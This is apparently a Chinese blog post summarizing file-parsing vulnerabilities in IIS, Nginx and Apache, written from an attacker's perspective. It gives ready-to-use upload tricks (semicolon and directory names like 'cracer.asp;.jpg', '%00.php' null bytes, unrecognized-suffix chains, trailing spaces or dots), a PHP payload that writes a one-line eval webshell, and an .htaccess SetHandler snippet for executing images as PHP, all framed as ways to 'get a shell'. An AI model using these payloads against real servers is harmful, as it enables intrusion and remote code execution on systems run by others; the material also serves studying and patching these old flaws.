1. 程式人生 > >檔案解析漏洞總結

檔案解析漏洞總結

一、IIS 5.x/6.0解析漏洞

IIS 6.0解析利用方法有兩種

1.目錄解析

/xx.asp/xx.jpg

2.檔案解析

cracer.asp;.jpg

第一種,在網站下建立資料夾的名字為 .asp、.asa 的資料夾,其目錄內的任何副檔名的檔案都被IIS當作asp檔案來解析並執行。

例如建立目錄 cracer.asp,那麼

/cracer.asp/1.jpg

將被當作asp檔案來執行。假設黑闊可以控制上傳資料夾路徑,就可以不管你上傳後你的圖片改不改名都能拿shell了。

第二種,在IIS6.0下,分號後面的不被解析,也就是說

cracer.asp;.jpg

會被伺服器看成是cracer.asp

還有IIS6.0 預設的可執行檔案除了asp還包含這三種

/cracer.asa/cracer.cer/cracer.cdx

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

Nginx解析漏洞這個偉大的漏洞是我國安全組織80sec發現的…

在預設Fast-CGI開啟狀況下,黑闊上傳一個名字為cracer.jpg,內容為

<?PHP fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>

的檔案,然後訪問cracer.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php

三、Nginx <8.03 空位元組程式碼執行漏洞

影響版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx在圖片中嵌入PHP程式碼然後通過訪問

xxx.jpg%00.php

來執行其中的程式碼

四、Apache解析漏洞

Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.

比如 cracer.php.owf.rar “.owf”和”.rar” 這兩種字尾是apache不可識別解析,apache就會把cracer.php.owf.rar解析成php.

如何判斷是不是合法的字尾就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個cracer.php.rara.jpg.png…(把你知道的常見字尾都寫上…)去測試是否是合法字尾

五、其他

在windows環境下,xx.jpg[空格]xx.jpg. 這兩類檔案都是不允許存在的,若這樣命名,windows會預設除去空格或點,黑客可以通過抓包,在檔名後加一個空格或者點繞過黑名單.若上傳成功,空格和點都會被windows自動消除,這樣也可以getshell。

如果在Apache中.htaccess可被執行.且可被上傳.那可以嘗試在.htaccess中寫入:

<FilesMatchcracer.jpg”> SetHandler application/x-httpd-php </FilesMatch>

然後再上傳shell.jpg的木馬, 這樣shell.jpg就可解析為php檔案。

相關課程